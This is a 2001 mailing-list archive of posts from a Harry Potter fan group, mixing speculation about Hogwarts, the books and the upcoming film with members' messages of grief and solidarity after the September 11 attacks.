From: joym999 at aol.com (Joy M)
Date: Fri, 14 Sep 2001 04:39:54 -0000
Subject: Another funny one from The Onion
Message-ID: <9ns1mq+8qfn@eGroups.com>

No: HPFGUIDX 26099

The latest issue of The Onion (a weekly parody newspaper found at 
www.onion.com) has this amusing little article:

Sci-Fi Fans Argue The Better Of Two As-Yet-Unreleased Films

TULSA, OK? Science-fiction fans Pete Carver and Matthew Wynne 
disagreed sharply Monday on the relative merits of Harry Potter And 
The Sorcerer's Stone and The Fellowship Of The Ring, neither of which 
hits theaters for months. "The storyboards for the Quidditch 
tournament I saw on this one web site look terrible," said the pro-
Tolkien Carver. "There's no way that scene can be better than I've 
heard the Balrog one is." Wynne countered that the set design for the 
Great Hall of Hogwarts set "will completely blow away" that of the 
Mines of Moria.





From jkusalavagemd at yahoo.com  Fri Sep 14 04:42:35 2001
From: jkusalavagemd at yahoo.com (jkusalavagemd at yahoo.com)
Date: Fri, 14 Sep 2001 04:42:35 -0000
Subject: Also On Topic  (was Re: GoF:  Murder vs. Curse? (LONG)
In-Reply-To: <9nrcd7+si7t@eGroups.com>
Message-ID: <9ns1rr+ko9a@eGroups.com>

No: HPFGUIDX 26100

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Because I could really use a distraction, I'm reviving this thread
> that I posted on Tuesday.  If you all tell me I'm all wet, at least
> it will take my mind off of things for a few minutes.  It's about
why
> JKR changed the language about whether V wanted Wormtail to curse
> someone or murder them.

> > Cindy (who is way, way out on a limb on this one)

One difficulty I see with LV intentionally murdering Moody, and
therefore being surprised if Moody resurfacesin OoP, is that you
cannot then account for the year long impersonation of Moody by Barty
Crouch, Jr.  What did they do, keep the cadaver of Moody in a magical
deep freeze in order to snip parts from him for making more polyjuice
potion?  Does the person to be impersonated have to be alive?  How
long will polyjuice potion keep fresh?  Just as you, I am puzzled by
the change in language.  I am inclined to blame the Scholastic
editors, who have made some rather silly changes, IMHO.

Haggridd  




From caliburncy at yahoo.com  Fri Sep 14 05:14:54 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Fri, 14 Sep 2001 05:14:54 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9nrd44+n1me@eGroups.com>
Message-ID: <9ns3oe+k08b@eGroups.com>

No: HPFGUIDX 26101

Adding my thoughts to the unsolvable math problem that puts Fermat's 
Last Theorem to shame:

Assuming you believe, like I always have, that the houses are not 
exactly equal in size (at least not due to a quota but perhaps due to 
coincedence) and assuming you accept the "20 'this or that' used 
during a combined lesson" evidence then according to the HP4GU FAQ on 
Hogwarts the only way to make this work and come up with the right 
number of students is for there to be 110 or so Ravenclaws (since 
unlike the other three houses, we've never seen a combined Ravenclaw 
class).

I was wondering if that's really true.  Do we have actual proof that 
all the Hufflepuffs go to Herbology as a combined class with the 
Gryffindors?  Is there any concrete reason to believe that there 
definitely couldn't be another set of Hufflepuffs besides who take 
Herbology seperately?  I'm sure there's "highly suggestive evidence" 
like the fact that Sprout can only teach so many classes in a day 
anyway, but I was wondering about a more blatant statement like saying 
"all the Hufflepuffs" or that sort of thing.

It's possible this same thing could be extended to Slytherins and 
Ravenclaws too, I don't know.

Anyway just mildly curious--in actuality I maintain that this whole 
number of students thing is just a gross inconsistency.

-Luke




From JenniferABacker at cs.com  Fri Sep 14 05:09:28 2001
From: JenniferABacker at cs.com (JenniferABacker at cs.com)
Date: Fri, 14 Sep 2001 01:09:28 -0400
Subject: Werewolves - WTC - C.R.A.B - S.P.I.N
Message-ID: <2D99A9A2.43F42FE4.AA90BE0E@cs.com>

No: HPFGUIDX 26102

Hello everyone. Ive combined posts, but unfortunately I dont have snippets from the post Im replying to. Im sorry, but I didnt think Id reply. I summed it the best I can though.

Werewolves in FF:
I believe Rons statement is based on rumors and most likely he was told those rumors by Fred and George. Perhaps, the Weaslys were told about Fred and George trying to go into the FF.or at least Ron was. They might have told Ron they heard werewolf cries in the forest and wanted to investigate. They told him about the troll at the sorting ceremony why wouldnt they say something like this?

September 11, 2001:
I cant express how I feel towards all this. If I could give blood, I would, but alas, Im just 14 and its illegal. I relate to a lot of Americans on this list. Im in Missouri though so I didnt have to *see* any of the crashes. Ive seen them on the TV and they are HORRIBLE! My thoughts are with those who were injured, died, trapped in the rubble, missing, know someone missing, hurt, gone, etc. I have been praying (and occasionally crying for) them all week. I was so glad to read each message that said Im ok. Those are two wonderful words!

C.R.A.B:
Can I join? Heres the payment! I think someone mentioned this already, but I believe JKR hasnt had Ron stand out in anything yet so she can surprise us with it later. Did we know Neville was good at Herbology before he got the book for Moody/Crouch? (I have school tomorrow and not enough time to look, sorry!) Maybe she waited for that. It doesnt seem too significant yet, but it might later. However, I dont think that will be what causes Nevilles shining moment that I believe hell get. Anyone want to form something like N.I.R.P (Neville Is Really Powerful) or N.I.S.P (Neville Is Secretly Powerful) or S.P.I.N (Secret Powers In Neville)? Its late and that the best I can come up with. LOL

Im missing something, but like I said, I deleted the posts and cant remember. Please send any comment you may have. I dont post often. ;x Oh, thanks a lot for the Mars/Neptune discussion! Im having a small test involving those in Religion! I remember what they mean easily! ;-)
God bless,
Forge




From SHENmagic at aol.com  Fri Sep 14 07:50:59 2001
From: SHENmagic at aol.com (SHENmagic at aol.com)
Date: Fri, 14 Sep 2001 03:50:59 EDT
Subject: OT/Sept. 11, 2001
Message-ID: <106.59fd42b.28d310e3@aol.com>

No: HPFGUIDX 26103

I am just coming out of shock. The pictures have seemed surreal and I have 
fought to keep from going numb. I have been crying buckets and also 
facilitating clients through their shock. Though I live in San Diego, I was 
born and raised in New York -went to school just a little north of the Twin 
Towers, and I have lots of friends and relatives in and about New York City. 
I am a therapist who specializes in healing the effects of trauma and there 
has been nothing  like the last couple of days. Those horrendous acts have 
affected everyone I know and most heartwarming for me have been the people 
who are posting about unity, and brother/sisterhood and praying for peace. 
Thank you list Moms for letting folks vent. I have been warmed by most of the 
responses-- and chilled by the eyewitness and first hand posts. I'm 
forwarding an e-mail, having some relevance to the Potteruniverse: it's from 
Richard and Wendy Pini, the authors/illustrator of ElfQuest Comics and 
Graphic Novels speaking on fantasy and violence.
"The Boy Who Lived" has a deeper meaning now for me...
Aylihael
Subject: [Elfquest_news] A terrible day

Dear Elf-Friends All Over the World,

As this is being written, barely six hours have passed since an 
unimaginable horror has occurred. Our American government has ideas but 
doesn't really know who destroyed the World Trade Center and a good 
chunk of the Pentagon. 

Every great religion of the world has had atrocities committed in its 
name. There has never been any reason for America to think herself 
immune to such an attack. And yet, this morning we're all devastated, 
shocked, stunned, incredulous. In an instant, life as we know it has 
changed - for all time to come. 

We turn to fantasy for entertainment, for comfort, and often to escape 
the troubles of the "real" world. (How many times, in how many films, 
have we watched the World Trade towers get destroyed, and smiled at the 
Hollywood cliche.) But, as Richard and I have often said, fantasy isn't 
really worth much unless it holds a mirror up to the human condition in 
some way, illuminating dark corners that wouldn't otherwise get 
explored.

And now... someone has invaded our forest, burned down one of our 
Holts. And many brothers and sisters have been killed.

Among warriors, the desire for revenge is strong. We want so much to 
strike back, howling our outrage. The hardest thing - the very greatest 
challenge - is to remember that those who planned, executed and died in 
the attack are our brothers and sisters too. Over and over again, the 
message we have tried to put forth in Elfquest is that ignorance and 
prejudice are the real evils.

Whatever you're feeling right now - and we realize many of you are not 
American, so you are looking at this tragedy from many different 
perspectives - try, as Richard and I are trying, not to hate. 

Whoever did this must be held accountable and punished. Yet we deeply 
pray that justice will not come about through war, at the inevitable 
cost of countless more innocent lives. Whatever your belief system, 
please join us in sending thoughts of condolence to all the families 
affected by this catastrophe. Then let us send thoughts of justice, 
without bloodshed, to those in power around the globe.

Our technology has outstripped our humanity. As a result, there's no 
hope for a lasting peace unless it's born and nurtured in the 
individual souls of every one of us.

Wendy & Richard Pini




From pkerr06 at attglobal.net  Fri Sep 14 02:17:25 2001
From: pkerr06 at attglobal.net (Peg Kerr)
Date: Thu, 13 Sep 2001 21:17:25 -0500
Subject: Checking in
Message-ID: <3BA168B4.D0FD2734@attglobal.net>

No: HPFGUIDX 26104

I am joining the discussion quite late.  Like all of you, I have had a
difficult time tearing myself away from the news.  Moreover, BOTH my
children have had pneumonia, and just as they started to recover, I came
down with the bug and it knocked me flat (right before September 11).
So I haven't been able to sit at my computer for almost a week. But even
though I haven't been posting, my heart has been with you all.

My brother works in midtown Manhattan, and I was dreadfully afraid for
him because he travels all the time on business and has clients in the
WTC (what if he was there for a meeting that morning???), but he was
fine, and got home to his family that night.

Like all of you, I know people who know people who have lost loved
ones.  For those of you directly bereaved on this list, I am so sorry!
I can only add to the (very well) expressed comments that many on this
list have made.  Thank you to those of you outside the United States who
have written to express your support and solidarity with us.  That is a
very great comfort.

With love to all,
Peg




From pkerr06 at attglobal.net  Fri Sep 14 03:27:28 2001
From: pkerr06 at attglobal.net (Peg Kerr)
Date: Thu, 13 Sep 2001 22:27:28 -0500
Subject: Checking in
Message-ID: <3BA17920.B13F997B@attglobal.net>

No: HPFGUIDX 26105

I am joining the discussion quite late.  Like all of you, I have had a
difficult time tearing myself away from the news.  Moreover, BOTH my
children have had pneumonia, and just as they started to recover, I came

down with the bug and it knocked me flat (right before September 11).
So I haven't been able to sit at my computer for almost a week. But even

though I haven't been posting, my heart has been with you all.

My brother works in midtown Manhattan, and I was dreadfully afraid for
him because he travels all the time on business and has clients in the
WTC (what if he was there for a meeting that morning???), but he was
fine, and got home to his family that night.

Like all of you, I know people who know people who have lost loved
ones.  For those of you directly bereaved on this list, I am so sorry!
I can only add to the (very well) expressed comments that many on this
list have made.  Thank you to those of you outside the United States who

have written to express your support and solidarity with us.  That is a
very great comfort.

With love to all,
Peg






From oppen at cnsinternet.com  Fri Sep 14 07:17:04 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Fri, 14 Sep 2001 02:17:04 -0500
Subject: House Size
Message-ID: <006c01c13ced$427d2ce0$dcc71bce@hppav>

No: HPFGUIDX 26106

I've always thought that the reason we only see a few Gryffindors, a few
Slytherins, and so on is because the houses are divided further than just by
year.  It's possible that students of roughly the same talent-level are
grouped together, or they just have quite a few rooms for each year's intake
of students, and you go to classes not just by houses but by your room.  JKR
just didn't see fit to mention it, or it could have been cut from PS/SS...at
that time, she _wasn't_ a mega-star of writing and if the editor said "This
book's a bit too long, we've got to cut a few details," she'd probably have
agreed.  (To get a book published, I'd agree to more...as to just _what_ I'd
agree to, let's just say that I'm open to quite a few suggestions)

So, if this is the case, you could have HP and his male roommates as one
"room" of Gryffindor House, along with Hermione and her gal-pals in _their_
room (and no suggestions of combining the rooms, you low, dirty-minded
people!) who attend their classes together as a unit from Gryffindor...and
Draco Malfoy with his buds in _their_ room at Slytherin House (Draco looks
at his door, and turns beet red, screaming "Who put 'Home of the Thickie
Twins, Crabbe and Goyle?' on MY DOOR?")  When Gryffindor attends classes
with Slytherin, Draco and the Thickies are always put in with HP and Co.  As
to why this is so...hey, this is a British public school, and a very old
one---they don't _need_ reasons if It's Always Been This Way.

As to why most of the Ravenclaws we've seen being girls...my GF (who lives
in DC and is quite safe, as well as her brother who lives in Manhattan not
too far from the former WTC---I was quite worried until I got through to
her) tells me that "of _course_ Ravenclaw's mostly girls, Eric...it's for
the _intelligent_ ones."  At my indignant glare, she pats me gently on the
head and says "There, now...you can't help having a 'little head' that does
most of your thinking for you.  I'm sure you'd be a real ornament to
Hufflepuff."  As you can imagine, she does not have a high opinion of (most)
males' general intelligence.  She admits that there are a lot of women who
aren't any better, but refuses to concede that the proportions are about
equal.  I should ask her if being in love with her is one of the signs of my
innate male stupidity sometime...or maybe I shouldn't.

Apologies if anybody finds my levity above disturbing at this time, but I
agree strongly with HP at the end of GoF..."I could do with a few laughs.
We could all do with a few laughs.  I have a feeling we're going to need
them more than usual before long."

I'm quite sure that had HP and his pals been at the site of the WTC attack,
they'd have been pulling people out of the windows the firemen couldn't
reach and getting them to the ground via broomstick...and the devil take the
risk of Azkaban.  For somebody as nice as they are, the knowledge that they
could have done something, but didn't because of some fiddling wizard law,
would have been worse torment than anything a dementor could ever have done.
Watching, I wished bitterly for a broomstick and the know-how to fly it...




From sofie_elisabeth at yahoo.co.uk  Fri Sep 14 10:17:14 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Fri, 14 Sep 2001 10:17:14 -0000
Subject: OT- 3 minute silence
Message-ID: <9nslfa+s377@eGroups.com>

No: HPFGUIDX 26107

I thought that I'd just inform all those of you who are American that 
across the UK and Ireland there was just a 3 minute silence from 
11:00 and 11:03. We all feel terrible about what happened and we are 
all scared about what will happen next. I'd just like to say that it 
is now more tan ever that we need to act as a global nation instead 
of as separate countries.
Love Sofie 




From lotusmoondragon at aol.com  Fri Sep 14 05:22:34 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Fri, 14 Sep 2001 01:22:34 EDT
Subject: Blessing to England
Message-ID: <30.1aab147d.28d2ee1a@aol.com>

No: HPFGUIDX 26108

Greetings,

I am sure that many of you, like me, have watched the myriad images related 
to Tuesday's attack on television, in news papers and in magazines. While 
they are all hard to look at, hard to watch, and even harder to digest, there 
are some I saw today that made me weep with love and hope. 

The first of these are the images of our embassies around the world, and the 
outpouring of love our fellow countries are showing us. I wept as people 
place flowers, cards, candles, and other signs of hope and blessing in front 
of the gates around our embassies. 

The second was watching the Changing of the Guard at Buckingham Palace in 
London. Instead of playing "God Save the Queen," as is normal during the 
Changing of the Guard, the band played "The Star Spangled Banner." The Prime 
Minister, members of the Royal family, and British citizens all gathered to 
watch this. They stood with hands over their hearts, and tears streaming down 
their faces. I wept, and wept over this, for the love and compassion that our 
British brothers and sisters have for us. It's hard for me now to even 
recount it, as I have tears running down my face. 

I apologize if this is off topic, but I had to express my gratitude to all of 
our support abroad. 

Love,
Lotus



[Non-text portions of this message have been removed]




From polterchair at yahoo.ca  Fri Sep 14 03:13:06 2001
From: polterchair at yahoo.ca (Rain Tor)
Date: Thu, 13 Sep 2001 23:13:06 -0400 (EDT)
Subject: [HPforGrownups] ADMIN: Discussions of Prayer, Religion
In-Reply-To: <3BA14154.2000809@swbell.net>
Message-ID: <20010914031306.85053.qmail@web13605.mail.yahoo.com>

No: HPFGUIDX 26109

I would just like to add my two cents..

On a positive note, I am REALLY impressed with the way
everybody came together during such a tragedy.  I am
usually quite cynical. Its not in my nature to even
think of issuing emails of sympathy/empathy; such a
thing would never have occurred to me. Such a
spontaneous outpouring of "are you okay?" type emails,
displays of sincere concern by peoples from disparate
locations, and backgrounds, is really life/humanity
reaffirming. Isnt it? I just wanted to append this to
your ADMIN message that talked of conflict within this
email group.  Because there is a real silver lining to
it. 

iao

PS:: You're a good group.  I'm thinking of writing
about you guys for my university newspaper.  

DAZ DAZ
www.envy.nu/dazcast 

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From michelleapostolides at lineone.net  Fri Sep 14 10:10:21 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Fri, 14 Sep 2001 11:10:21 +0100
Subject: [HPforGrownups] U.S./UK Solidarity
References: <3BA14853.9000005@swbell.net>
Message-ID: <009e01c13d05$7804dd00$9e4b063e@tmeltcds>

No: HPFGUIDX 26110


Penny,

|
| I just watched the clip on ABC that showed the special changing of the
| guard ceremony at Buckingham Palace earlier today.  I was moved to
tears
| to hear them playing the U.S. national anthem.

Of course we're with you. This isn't just about the US. Brits were lost
and some terrible awful bully wanted to stamp his foot very very loudly
in the world playground. So we over here feel terribly for you and will
support the US as much as we can. The bullies are never ever going to
win.

Michelle




From frances at forever.u-net.com  Fri Sep 14 10:54:06 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Fri, 14 Sep 2001 10:54:06 -0000
Subject: Memorial
Message-ID: <9nsnke+et4b@eGroups.com>

No: HPFGUIDX 26111

It's coming up to midday here in Britain, so it must be about 7am on 
the East Coast of America. I wanted to make one last post about the 
terrible events of last Tuesday. 

I have just come back from a short memorial service and wanted to tell 
people about it. All across the UK today at 11am, there was a three 
minutes silence as a mark of respect for those who died and those who 
were injured in the terrible events of last Tuesday. This has taken 
place all across Europe as they reached 11am. 

I work in a little town in the South of England. It probably has a 
population of about 6000. The idea that this town could just be wiped 
out of existence in a matter of minutes; that so many lives could be 
taken so quickly still seems impossible to believe. 

I wanted you to know that on the day of mourning which has been called 
for in America, people from all over the world are joining with you in 
thought. I send you the love and thoughts of everyone who was at that 
service.

Love Frances





From elspeth_orange at yahoo.com  Fri Sep 14 13:33:40 2001
From: elspeth_orange at yahoo.com (elspeth_orange at yahoo.com)
Date: Fri, 14 Sep 2001 13:33:40 -0000
Subject: U.S./UK Solidarity
In-Reply-To: <3BA14853.9000005@swbell.net>
Message-ID: <9nt0vk+j8un@eGroups.com>

No: HPFGUIDX 26112

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:

> I just watched the clip on ABC that showed the special changing of 
> the guard ceremony at Buckingham Palace earlier today.  I was moved 
> to tears to hear them playing the U.S. national anthem.

i too had tears in my eyes as i watched and listened.  the support i 
see and hear from around the world for some reason still astounds me. 
not so much a conscious sense of disbelief, because of course, why 
would anyone react any differently?  but just... something.  
listening to the thoughts and prayers of the people in the UK has 
been truly amazing.  aggh.  still beyond words.

--cyn.




From cynthiaanncoe at home.com  Fri Sep 14 14:28:56 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 14 Sep 2001 14:28:56 -0000
Subject: Also On Topic  (was Re: GoF:  Murder vs. Curse? (LONG)
In-Reply-To: <9ns1rr+ko9a@eGroups.com>
Message-ID: <9nt478+gdfa@eGroups.com>

No: HPFGUIDX 26113

---> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> > Because I could really use a distraction, I'm reviving this thread
> > that I posted on Tuesday.  If you all tell me I'm all wet, at 
least
> > it will take my mind off of things for a few minutes.  It's about
> why
> > JKR changed the language about whether V wanted Wormtail to curse
> > someone or murder them.
> 
> >Haggridd wrote:  
> 
> One difficulty I see with LV intentionally murdering Moody, and
> therefore being surprised if Moody resurfacesin OoP, is that you
> cannot then account for the year long impersonation of Moody by 
Barty
> Crouch, Jr.  What did they do, keep the cadaver of Moody in a 
magical
> deep freeze in order to snip parts from him for making more 
polyjuice
> potion?  Does the person to be impersonated have to be alive?  How
> long will polyjuice potion keep fresh?  Just as you, I am puzzled by
> the change in language.  I am inclined to blame the Scholastic
> editors, who have made some rather silly changes, IMHO.
> 

The "frozen cadaver" issue doesn't trouble me much.  JKR was clever 
enough to have the one ingredient you need for polyjuice potion be 
something that keeps indefinitely -- hair -- and something that Moody 
had a lot of.  (JKR could have given Moody a crew cut or made him 
balding, but instead she gave him a "long mane of grizzled dark gray 
hair").  She could have made the key ingredient blood, but that would 
require the person to be kept alive and raise the spoilage issues you 
mentioned.  

So Crouch Jr. and Wormtail would just hack off Moody's hair, put it 
in Moody's trunk, and proceed to make the potion all year as needed.  
Nothing suggests that Moody had to be alive for this to happen.

Cindy (who thinks it well could have been a silly editor's change, 
but thinks it is more fun to imagine something else)




From cynthiaanncoe at home.com  Fri Sep 14 15:01:21 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 14 Sep 2001 15:01:21 -0000
Subject: Distribution of students in houses (was: Dorms)
In-Reply-To: <9ns3oe+k08b@eGroups.com>
Message-ID: <9nt641+oggs@eGroups.com>

No: HPFGUIDX 26114

--- In HPforGrownups at y..., caliburncy at y... wrote:
> Adding my thoughts to the unsolvable math problem that puts 
Fermat's 
> Last Theorem to shame:
> 


Perhaps someone can enlighten me about something.  I've heard all of 
the theories to explain the demographics.  

But I don't understand the assumption that people don't exist at 
Hogwarts unless JKR names them and shows them in action.  If I read a 
novel about a fictional law firm, the author doesn't have to 
introduce me to every document clerk.  I just assume there are other 
people in the setting aside from the main characters.  

In HP, there are a staggering number of named characters and stock 
characters, and I think there could be lots of "placeholder" 
characters.  How can we rule out the possibility that there are not 
additional teachers of transfiguration, etc. and other sections of 
students?  Forgive me if this has already been discussed somewhere, 
but I haven't seen a satisfactory explanation.  

So in a way, Luke, this question goes back to something raised last 
week.  What did you call it -- Authorial Misinformation or something?

Cindy




From ra_1013 at yahoo.com  Fri Sep 14 16:01:16 2001
From: ra_1013 at yahoo.com (Andrea)
Date: Fri, 14 Sep 2001 09:01:16 -0700 (PDT)
Subject: Name Meanings (Hagrid)
In-Reply-To: <9kfu56+9qae@eGroups.com>
Message-ID: <20010914160116.66787.qmail@web10908.mail.yahoo.com>

No: HPFGUIDX 26115

You know how sometimes things will just jump out at
you and you wonder why you never thought of them
before?  Well, I had one of those moments. :)

I was doing a crossword puzzle, and one of the answers
was "rube" - an unsophisticated country person.  My
*first* thought (which says something about how
HP-obsessed I am) was, "Hey, *Rube*us Hagrid!"


Andrea




=====
"Reality is for people who lack imagination."

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From mindyatime at juno.com  Fri Sep 14 17:13:23 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Fri, 14 Sep 2001 13:13:23 -0400
Subject: Movie Question
Message-ID: <20010914.131856.-3679003.15.mindyatime@juno.com>

No: HPFGUIDX 26116

I am an extreme ignoramus in such matters, as I do not watch movies.
Please forgive me if I sound like an imbecile. But I'd like to know who
was the person who decided to make an HP movie and who makes the money
off it. Was it JKR who hired someone to come up with a movie or was it
just some private person who saw this as a golden opportunity to shell in
some $$$ and then consulted JKR for permission? I am not very well
informed about such stuff & that's why I ask.
________________________________________________________________
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Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From dfrankiswork at netscape.net  Fri Sep 14 17:32:48 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 14 Sep 2001 13:32:48 -0400
Subject: Molly's clock
Message-ID: <11D1E88E.21FF0260.6E93A4F5@netscape.net>

No: HPFGUIDX 26117

There was a thread a few days ago(!) about the 'mortal peril' position on Molly's clock.  The more I think about it, the less I'm sure what it means.  In COS, when was Ginny in mortal peril?  In the chamber?  As soon as she started writing in the diary?  When Lucius put it in her things?  When Lucius dreamed up his plot?  From the moment she was born?

The only thing I can think of is that it means 'there is a distinct possibility of dying in the (rather undefined) near future'.  It would be consistent to say that the clock can't actually predict the future, because that depends on people's choices, but it can weigh the possibilities.

It is, of course, a *magic* clock, so it would have no trouble pointing in two places at once, if, say, Arthur was in mortal peril at work.

David


__________________________________________________________________
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From lee_hillman at urmc.rochester.edu  Fri Sep 14 17:22:08 2001
From: lee_hillman at urmc.rochester.edu (Hillman, Lee)
Date: Fri, 14 Sep 2001 13:22:08 -0400
Subject: MOVIE: Vanity Fair layout observations
Message-ID: <95774A6A6036D411AFEA00D0B73C864303B05420@exmc3.urmc.rochester.edu>

No: HPFGUIDX 26118

Well, after a week and a half of searching for it (and two days of wanting
it only as a distraction), I found the Vanity Fair here in my own building's
bookstore.
 
Poring over the pictures has made me realize a few things that are tres cool
and I wanted to share.
 
1. Harry under the stairs. The grate in the door looks like the same one
he's looking through in the trailer.
 
2. The Dursleys. Okay, first I want to say that Fiona Shaw looks just like a
perfect housewife--like a cross between Margaret Thatcher, Barbara
Billingsley (Leave it to Beaver), and the actress who played John Cleese's
wife in "A Fish Called Wanda." And Vernon's suit is horrid--you can just
tell from looking at it that it's polyester. Yuck! Love the pictures of
Dudley, and did you notice the one of Vernon and Petunia on the sideboard
behind Fiona Shaw? Love, love, love the kitchy knickknacks and chintz
everywhere. My "Grownup" thought on this one: On the wall to the right,
above Dudley, there is an 18th century pastorale print. A shepherd is
serenading a shepherdess with what looks like a clarinet. There's a rose in
the shepherdess's bodice. Is it me, or does that rose look... like something
else, when you don't really concentrate on it? Ahem.
 
3. The twin trios. First of all, I miss the green in Slytherin's colours.
Second, I've commented before about the long tables--in most Medieval halls,
they are oriented the only way possible, despite Rowling's description. No
problem with that change--also there are what look like entrances on the
sides (though they may be confessional spaces and little shrines in reality,
given that this was a cathedral). Also, I love the haircuts on Crabbe and
Goyle--they look so menacing. Tom Feldon is so cute I want to pinch his evil
little cheeks. My L.O.O.N.-league observation: Emma's right sock has a stray
thread (apropos of nothing). Radcliffe's eyes: blue, but the Entertainment
Weekly article noted that the green contacts irritated his eyes, so they
will be CG-ing the eye colour in many shots. Love the books strewn behind
them on the table. The Really Cool Thing in this picture: The wall sconces
are held in the mouths of beast-like gargoyles. So sweet!
 
4.  Hagrid. Crossbow is weird; I'm not sure what the pan on the end is
supposed to do. I do like that it's very thick and looks like it shoots at a
very high poundage (pressure with which the bolt leaves the nock point).
It's also hard to tell how large Fang really is, because we don't know what
he looks like next to a normal person or the kids. He does look like an
adorable bloodhound. What claws! Hagrid better get a hook for the lantern,
though--it must get very warm, since the handle is over the chimney. Love
the giant key-chain that is weighing down the right side of his belt. And
yes, we have a new definition for the term "Mole-skin."
 
5. Flitwick, Quirrell, and Hooch. Love the Room! Love the Dragon skeleton!
Love, love love, Madame Hooch! I do wish she weren't standing on her broom,
though, but either holding it or showing it somewhere other than the floor
(levitating?). She also needs to lose the goggles, though they look
appropriately WWI-ish. Quirrell looks appropriately a. young b. shifty. Has
anyone else noticed that the nails on his left hand are long and pointy?
Almost femininely manicured. The right hand is closely trimmed. But here's
the thing: I have a problem with Flitwick. Up until this photo, we've seen
him seated, and it's been okay. I also appreciate that Davis says he's
become quite a Potterholic as a result of making the film. But in this
photo... well, there's just no hiding the fact that Warwick Davis is a
little person. To me, Flitwick is tiny, yes, but also thin and winnowy, and
Warwick can't claim that. The outsized hands don't help this image--frankly,
he looks like a dwarf, not like an extremely diminutive man. However, it's
one of many points I'm willing to try to overlook.
 
6. Dumbledore and McGonagall. Someone (John Walton?) commented that Richard
Harris looks like a tired old man. I maintain that he isn't focused on the
camera, so it's hard to tell what he's thinking or doing. He looks a little
spaced out, to be honest. I still think the beard looks okay, though it
could be even longer, but the hair itself looks somewhat fake. Too much like
crepe hair, which it probably is. Love the purple robe, though, did anyone
notice the knotwork around the hem? Cut velvet is a cool thing. Dame Maggie
Smith is totally perfect. I know others disagree, but she has always been
the person whom I picture as McGonagall. That is, assuming they couldn't get
my high school math teacher to play her. :^) A last word on the backdrop
here. The portraits are probably whatever was really there, and I really
like seeing the different periods and a mix of males and females, but I
wonder if they'll make any effort to show any portraits of people in
wizarding garb? Or are robes a fashion element of wizard clothing that have
gone in and out of style, like Muggle clothing? Anyway, I particularly like
the frame of the portrait just to Maggie's left--the pointed frame with the
arched matte inside it. For some reason it just has the right feel.
 
7. Snape! Everytime I turn to this page, I grin and giggle. And no, it's not
just because it's (swoon) Alan Rickman. He's just so severe! It's perfect!
Gush, gush, gush. Love the expression and the posture, like he's about to
rise up and order some poor student to detention. Like Tom Feldon in the
other picture, I just want to pinch.. well, maybe not pinch his cheeks, but
certainly pat them. Such a cutey-head! And again, as in the first press
releases, I noted the white undertunic that shows at cuffs and collar. Very
proper, our Severus. Okay, for the rest of the scene: LOVE the arcane
beakers and test tubes--looks just like Dr. Jeckyll's laboratory. Also
absolutely love the blackboard with its Greek symbols and very Kabbalistic
looking geometry (nod to RJ Anderson, who used Kabbala-inspired magic in her
potions theory in Potion's Master's Apprentice). I don't actually mind the
light coming in the window here--my personal take on the "dungeons" is that
they don't have to be without light. I do like that the window is rather
high up, which makes it look like the window is at ground level or
thereabout. If there were no light, it would be too dark to see him!
 
8. The ghosts. I agree with John on this picture--it's a little on the
cheesy side. John Cleese shouldn't cross his eyes like that--it looks really
dumb. The other ghosts aren't what I expected either--don't like the Friar
at all. I never pictured the Baron to be a Restoration era ghost; I pictured
him older than Nick, actually, like in a cotehardie or houppelande, or even
just in wizard's robes. And the blood should not be red, but perhaps silver
didn't translate will to film. Note to those theorizing about the Grey Lady:
if JKR approved her costume, then it is very unlikely she is Rowena
Ravenclaw. Her gown is 16th century, something between Tudor and German. I
love her trim! Note to SCAdians on this list: both her costume and Nick's
look great.
 
9. The Quidditch Team. As with Hooch, I quite like the Quidditch gear look.
The white wide-wale corduroy pants are very cool-looking. I like the 3/4
sleeve robes and the greaves, vambraces, knee and elbow cops, and gauntlets
that look a cross between hockey gear and something from Starlight Express.
I'm glad they have some protective gear, though--makes me feel better to
think about those bludgers hitting them. The Quaffle next to George is very
neat-looking and looks like something you could actually grab in the air. I
didn't picture Alicia as being Indian, either, but it makes sense and works
just fine. Love the other two girls as well--Katie looks like a serious
player to me, and Angelina looks like someone who doesn't put up much fuss.
Oliver looks like he wants to get this photo over with and get out on the
pitch. Fred and George look a little too serious--it makes me wonder what
they're up to. Love that they have the exact same expression, though. And
Harry--well, he just looks like he's skating along like he does through so
much of the books. As for background, the common room doesn't exactly look
like I pictured it: I'd rather not have the Unicorn Tapestry wall paper. I
pictured paneled walls and this feels a bit too busy, but it does look nice
and cozy on a winter night. The rug is well-worn; again, probably something
that was there already, but a nice detail. I didn't picture portraits in the
common room itself, though. Can anyone make out the name on the bottom of
the portrait to Harry's left?
 
10. The chess match. Not much to say about this one except I can't wait to
see this sequence. Ron looks suitably smudged from having been thrown down a
dirt shaft, tangled up in roots, and then set on fire. One can see the fire
is in little footlight-like pockets around the chess board. Will reserve
further judgment until I've seen the film.
 
All this just makes me jonze even worse for November 16! Sigh. Back to
watching movies featuring the cast....
 
Gwen



From mirzamblack at yahoo.com  Fri Sep 14 18:19:43 2001
From: mirzamblack at yahoo.com (Mirzam Black)
Date: Fri, 14 Sep 2001 18:19:43 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <20010914160116.66787.qmail@web10908.mail.yahoo.com>
Message-ID: <9nthnv+obbd@eGroups.com>

No: HPFGUIDX 26119

Andrea wrote:
> You know how sometimes things will just jump out at
> you and you wonder why you never thought of them
